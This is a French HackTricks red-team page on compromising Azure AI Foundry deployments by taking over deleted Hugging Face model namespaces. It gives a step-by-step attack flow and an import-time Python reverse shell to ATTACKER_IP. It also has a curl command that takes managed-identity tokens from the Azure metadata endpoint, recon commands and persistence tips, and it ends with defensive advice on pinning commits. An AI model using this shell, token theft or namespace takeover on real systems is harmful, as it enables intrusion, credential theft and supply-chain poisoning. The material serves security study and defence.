Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Scénario

  • Azure AI Foundry Model Catalog inclut de nombreux modĂšles Hugging Face (HF) pour un dĂ©ploiement en un clic.
  • Les identifiants de modĂšle HF sont Author/ModelName. Si un author/org HF est supprimĂ©, n’importe qui peut se rĂ©enregistrer sous ce nom d’auteur et publier un modĂšle avec le mĂȘme ModelName au legacy path.
  • Les pipelines et catalogs qui rĂ©cupĂšrent uniquement par nom (sans commit pinning/integrity) rĂ©soudront vers des repos contrĂŽlĂ©s par l’attaquant. Quand Azure dĂ©ploie le modĂšle, le code du loader peut s’exĂ©cuter dans l’environnement de l’endpoint, offrant une RCE avec les permissions de cet endpoint.

Cas courants de takeover HF :

  • Ownership deletion : ancien chemin 404 jusqu’au takeover.
  • Ownership transfer : ancien chemin 307 vers le nouvel author tant que l’ancien author existe. Si l’ancien author est ensuite supprimĂ© et rĂ©enregistrĂ©, le redirect casse et le repo de l’attaquant sert au legacy path.

Identifier des namespaces réutilisables (HF)

# Check author/org existence
curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available

# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover

Flux d’attaque de bout en bout contre Azure AI Foundry

  1. Dans le Model Catalog, trouvez des HF models dont les auteurs originaux ont été supprimés ou transférés (ancien auteur retiré) sur HF.
  2. RĂ©enregistrez l’auteur abandonnĂ© sur HF et recrĂ©ez le ModelName.
  3. Publiez un repo malveillant contenant du loader code qui s’exĂ©cute Ă  l’import ou nĂ©cessite trust_remote_code=True.
  4. DĂ©ployez le legacy Author/ModelName depuis Azure AI Foundry. La plateforme rĂ©cupĂšre le repo de l’attaquant ; le loader s’exĂ©cute Ă  l’intĂ©rieur du container/VM de l’endpoint Azure, entraĂźnant une RCE avec les permissions de l’endpoint.

Exemple de fragment de payload exĂ©cutĂ© Ă  l’import (pour dĂ©monstration seulement) :

# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images

if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

Remarques

  • Les dĂ©ploiements AI Foundry qui intĂšgrent HF clonent et importent typiquement des modules de repo rĂ©fĂ©rencĂ©s par la config du modĂšle (par ex., auto_map), ce qui peut dĂ©clencher l’exĂ©cution de code. Certains chemins exigent trust_remote_code=True.
  • L’accĂšs correspond gĂ©nĂ©ralement aux permissions de managed identity/service principal de l’endpoint. ConsidĂ©rez-le comme un point d’appui d’accĂšs initial pour l’accĂšs aux donnĂ©es et les mouvements latĂ©raux au sein d’Azure.

Conseils post-exploitation (Azure Endpoint)

  • ÉnumĂ©rez les variables d’environnement et les MSI endpoints pour rĂ©cupĂ©rer des tokens:
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • VĂ©rifier le stockage montĂ©, les artefacts de modĂšle et les services Azure accessibles avec le token acquis.
  • Envisager la persistence en laissant des poisoned model artifacts si la plateforme re-pulls depuis HF.

Conseils dĂ©fensifs pour les utilisateurs d’Azure AI Foundry

  • Épingler les modĂšles Ă  un commit lors du chargement depuis HF:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
  • RĂ©pliquer les modĂšles HF vĂ©rifiĂ©s dans un registre interne de confiance et dĂ©ployer Ă  partir de celui-ci.
  • Scanner en continu les codebases et les defaults/docstrings/notebooks Ă  la recherche d’Author/ModelName codĂ©s en dur qui ont Ă©tĂ© supprimĂ©s/transfĂ©rĂ©s ; les mettre Ă  jour ou les pin.
  • Valider l’existence de l’auteur et la provenance du modĂšle avant le dĂ©ploiement.

Heuristiques de reconnaissance (HTTP)

  • Auteur supprimĂ© : author page 404 ; legacy model path 404 jusqu’au takeover.
  • ModĂšle transfĂ©rĂ© : legacy path 307 vers un nouvel auteur tant que l’ancien auteur existe ; si l’ancien auteur est ensuite supprimĂ© et rĂ©enregistrĂ©, legacy path sert du contenu d’attaquant.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

Références croisées

  • Voir la mĂ©thodologie plus large et les notes sur la chaĂźne d’approvisionnement :

Pentesting Cloud Methodology

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks